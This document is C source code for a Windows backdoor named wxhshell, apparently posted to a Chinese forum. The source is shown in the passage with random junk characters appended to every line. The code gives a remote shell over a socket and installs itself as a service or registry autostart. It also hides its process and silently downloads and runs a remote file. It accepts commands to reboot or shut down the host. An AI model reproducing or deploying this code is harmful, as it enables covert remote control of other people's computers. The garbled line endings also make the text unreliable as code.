  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J|xqfY@+  
  } ZlO@PlZ)  
  else { uaU!V4-  
7ZZSAI  
    switch(cmd[0]) { T$}<So|  
  42m`7uQ  
  // 帮助 8 6L&u:o:  
  case '?': { h)y"?Jj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :hMuxHr  
    break; /_}v|E0  
  } H>M%5bj  
  // 安装 W;KHLHp-  
  case 'i': { $wN'mY  
    if(Install()) :eIB K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !5A nr  
    else W{-N,?z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f2{4Y)  
    break; }WCz*v1Wq  
    } 2o\\qEYg  
  // 卸载 up:e0di{  
  case 'r': { o.Cj+`0}5  
    if(Uninstall()) .mok.f<G_m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m%Ef]({I  
    else 2&tGJq-E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u|QfCwQ  
    break; 6eS#L21*  
    } :=i0$k<E/  
  // 显示 wxhshell 所在路径 /au\OBUge  
  case 'p': { cOUO_xp(  
    char svExeFile[MAX_PATH]; ~(%G; fZ?x  
    strcpy(svExeFile,"\n\r"); pM#:OlqC  
      strcat(svExeFile,ExeFile); m7RWuI,  
        send(wsh,svExeFile,strlen(svExeFile),0); |xf%1(Rl@  
    break; tS!~> X  
    } gcv,]v 8  
  // 重启 N}dJ)<(2~  
  case 'b': { pg>P]a{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -9aht}Z  
    if(Boot(REBOOT)) 'm2,7]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5T   
    else { ?L'k2J  
    closesocket(wsh); S>"dUM  
    ExitThread(0); ,#c-"x Y  
    } ^ 1J;SO|  
    break; n:#ji|wM  
    } Xp{gh@#dr  
  // 关机 JGO>X|T  
  case 'd': { $~:hv7%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4uu*&B  
    if(Boot(SHUTDOWN)) wPc,FH+y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zy!\=-dSm  
    else { ~Yr.0i.W  
    closesocket(wsh); =vK(-h  
    ExitThread(0); F8=6!Qj  
    } H/L3w|2+  
    break; Z2$-},i  
    } +pF z&)?  
  // 获取shell N7;E 2 X  
  case 's': { i5AhF\7F9  
    CmdShell(wsh); (=PnLP  
    closesocket(wsh); >Y \4 v}-  
    ExitThread(0); st+Kz uK  
    break; BryMq !  
  } ZR#UoYjupb  
  // 退出 db4&?55Q  
  case 'x': { BFEo:!'F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NKB! _R+  
    CloseIt(wsh); Zv-6H*zM6  
    break; *}v'y{;  
    } T4f:0r;^f*  
  // 离开 mWGT (`|~/  
  case 'q': { Awr]@%I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5S7Z]DXiT8  
    closesocket(wsh); CY 7REF  
    WSACleanup(); sV*Q8b*  
    exit(1); 3; M!]9ms  
    break; 3$kZu  
        } &G"]v]V  
  } XSxya .1  
  } ZtvU~'Q  
A5/h*`Q\\  
  // 提示信息 t)m4"p7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h5Z\9`f[  
} ZU@V]+ww  
  } |aVv Lz  
z[k2&=c  
  return; DMf9wB  
} P;y/`_jo  
xp &I~YPH  
// shell模块句柄 9rid98~d  
int CmdShell(SOCKET sock) q OXL(  
{ m0#hG x  
STARTUPINFO si; w%ip"GT,  
ZeroMemory(&si,sizeof(si)); ^Gyl:hN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %kUJ:lg;d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !*cf}<Kmw  
PROCESS_INFORMATION ProcessInfo; },"g*  
char cmdline[]="cmd"; J\{)qJ*jp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $_ NaxV  
  return 0; D{4 Y:O&J  
} e-s@@k  
Vnl~AQfk|  
// 自身启动模式 #2MwmIeA  
int StartFromService(void) h\dIp`H  
{ h!Q >h7  
typedef struct _AO0:&  
{ lu{}j4  
  DWORD ExitStatus; :#LB}=HQ  
  DWORD PebBaseAddress; dHu]wog  
  DWORD AffinityMask; !uZ+r%  
  DWORD BasePriority; F0!r9U((  
  ULONG UniqueProcessId; ]6aM %r=c  
  ULONG InheritedFromUniqueProcessId; O]Hg4">f  
}   PROCESS_BASIC_INFORMATION; ?y '.sQ  
vbFAS:Y:+  
PROCNTQSIP NtQueryInformationProcess; ~ 52  
dqe_&C@*O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^g0 Ig2'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H}@|ucM"\  
2KG j !w  
  HANDLE             hProcess; p<+]+,|\~:  
  PROCESS_BASIC_INFORMATION pbi; f*I5 m=  
~\/ J&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y#MLxm  
  if(NULL == hInst ) return 0; a=J?[qrx  
C VUDN2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A1@-;/H3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;klDt|%3j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kzm_AHA)  
'L m `L<`  
  if (!NtQueryInformationProcess) return 0; G'epsD,.bX  
b'&pJ1]]}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u1"e+4f  
  if(!hProcess) return 0; I)x:NF6JO  
:.~a[\C@V<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jTqba:q@  
IQ_0[  
  CloseHandle(hProcess); Cjh&$aq  
Q?>#sN,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wiVQMgi`  
if(hProcess==NULL) return 0; /X:lt^?%I  
MPB6  
HMODULE hMod; 4 hj2rK'y  
char procName[255]; VgdkCdWRm_  
unsigned long cbNeeded; Q(sbClp"  
;L[9[uQ[C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  Ntqc=z  
I45A$nV#Q  
  CloseHandle(hProcess); {)[i\=,`{  
BOWTH{KR<<  
if(strstr(procName,"services")) return 1; // 以服务启动 bXW)n<y  
J.&q[  
  return 0; // 注册表启动 SUEw5qitB  
} 7HJv4\K  
</%H'V@  
// 主模块 ? vlGr5#  
int StartWxhshell(LPSTR lpCmdLine) 9t[278B6  
{ WNx^Rg" >'  
  SOCKET wsl; 2eK\$_b_  
BOOL val=TRUE; y((_V%F}  
  int port=0; WY,t> 1c  
  struct sockaddr_in door; @v'D9 ?  
I>xB.$A  
  if(wscfg.ws_autoins) Install(); 4"2/"D0  
c,qCZ-.Sg  
port=atoi(lpCmdLine); )k1,oUx  
\XN5))  
if(port<=0) port=wscfg.ws_port; @b/2'  
KH7]`CU  
  WSADATA data; KCFwO'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mx[^LaR>v  
o`U\Nhq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VB#31T#q?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g5Vr2  
  door.sin_family = AF_INET; $O>@(K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jv<)/Km`  
  door.sin_port = htons(port); Id*^H:]C#  
>(CoXSV5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GW#kaqC1  
closesocket(wsl); :2My|3H\  
return 1; z]YhQIU4n8  
} ob7_dWAG  
'k67$H  
  if(listen(wsl,2) == INVALID_SOCKET) { s,v#lJ]d0W  
closesocket(wsl); EVL;"   
return 1; 5{a( +'  
} vw]nqS~N  
  Wxhshell(wsl); ##@#:B  
  WSACleanup(); 5%`Ul  
~ t H s+  
return 0; TxvPfU?  
kn"x[{d  
} jq]"6/xxb  
GN9_ZlC  
// 以NT服务方式启动 hN53=X:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hn|E<  
{ eh>E).  
DWORD   status = 0; )r i3ds  
  DWORD   specificError = 0xfffffff; 713M4CtJ  
C6M/$_l&a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `.W;ptZ6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DxgT]F%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gk1S"H  
  serviceStatus.dwWin32ExitCode     = 0; Uq.~3V+u  
  serviceStatus.dwServiceSpecificExitCode = 0; N]}+F w\5  
  serviceStatus.dwCheckPoint       = 0; 5ecz'eA%  
  serviceStatus.dwWaitHint       = 0; gJxVU41  
c.Y8CD.tqL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;8T=uCi  
  if (hServiceStatusHandle==0) return; ~BZV:Es  
KaE;4gwM  
status = GetLastError(); bW^QH-t  
  if (status!=NO_ERROR) )JQQ4D  
{  {Yk20Zn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mv?H]i`N  
    serviceStatus.dwCheckPoint       = 0; y7-:l u$9  
    serviceStatus.dwWaitHint       = 0; J\+gd%  
    serviceStatus.dwWin32ExitCode     = status; T:">,* |  
    serviceStatus.dwServiceSpecificExitCode = specificError; Iq]6]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !O6Is'%B  
    return; ls\E%d  
  } 6a7iLQA  
{l&2Kd*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %QgAilj,  
  serviceStatus.dwCheckPoint       = 0; 2P_^@g  
  serviceStatus.dwWaitHint       = 0; =k= 2~ j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YiuOu(X  
} 9:i,WJO  
(y=o]Vy  
// 处理NT服务事件,比如:启动、停止 K=?F3tX^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ti|++oC/&  
{ T\!SA  
switch(fdwControl) 9*+0j2uhQ  
{ Yb3f]4EH  
case SERVICE_CONTROL_STOP: p}DF$k%`  
  serviceStatus.dwWin32ExitCode = 0; xO-U]%oq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +7< >x-+  
  serviceStatus.dwCheckPoint   = 0; <lmJa#  
  serviceStatus.dwWaitHint     = 0; So *Wk "  
  { @1&;R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fg\| e%  
  } \ e8*vos  
  return; nYy}''l<  
case SERVICE_CONTROL_PAUSE: M|#5gKXd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z)i1?#  
  break; ([CnYv  
case SERVICE_CONTROL_CONTINUE: x<j"DS}S)D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?U/Wio$@  
  break; `6N-MsP  
case SERVICE_CONTROL_INTERROGATE: Y+u-J4bj  
  break; UxcDDa/j2T  
}; {dA ~#fW<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BH0#Q5  
} LL[#b2CKa  
EY&C [=  
// 标准应用程序主函数 tP Efz+1N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hJo^Wo  
{ VUC <0WV  
^GrkIh0nL  
// 获取操作系统版本 d6@jEa-  
OsIsNt=GetOsVer(); #O9*$eMw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oUvk2]H  
<%>n@A  
  // 从命令行安装 7{^4 x#NO  
  if(strpbrk(lpCmdLine,"iI")) Install(); XBQ<  
;IuK2iDt<  
  // 下载执行文件 CxA\yG3L&  
if(wscfg.ws_downexe) { 7vpN 6YP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -j`!(IJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); Wbn[Q2h5  
} ( OyY_`  
f>)Tq'  
if(!OsIsNt) { QPe9s[Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]fADaw-R  
HideProc(); .5!sOOs$P  
StartWxhshell(lpCmdLine); %-ZR~*  
} mbX)'. +L  
else E/7vIg F  
  if(StartFromService()) : \:~y9X0  
  // 以服务方式启动 Wz-3?EQ  
  StartServiceCtrlDispatcher(DispatchTable); s"=F^#  
else B221}t  
  // 普通方式启动 |)?aH2IL  
  StartWxhshell(lpCmdLine); K Z!N{.Jk  
g| ._n  
return 0; - Y8ks7  
}
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只看该作者 1 发表于: 2006-10-10
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